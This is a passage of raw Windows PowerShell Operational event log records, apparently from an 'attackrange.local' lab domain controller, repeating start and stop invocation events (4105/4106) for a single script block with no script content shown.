LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468625
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468624
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468623
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468622
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468621
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468620
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468619
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468618
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468617
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468616
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468615
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468614
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468613
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468612
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468611
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468610
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468609
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468608
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468607
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468606
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468605
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468604
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468603
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468602
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468601
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468600
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468599
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468598
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468597
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468596
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468595
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468594
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468593
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468592
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468591
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468590
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468589
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468588
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468587
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468586
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468585
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468584
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468583
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468582
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468581
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468580
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468579
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468578
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468577
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468576
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468575
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468574
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468573
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468572
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468571
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468570
Keywords=None
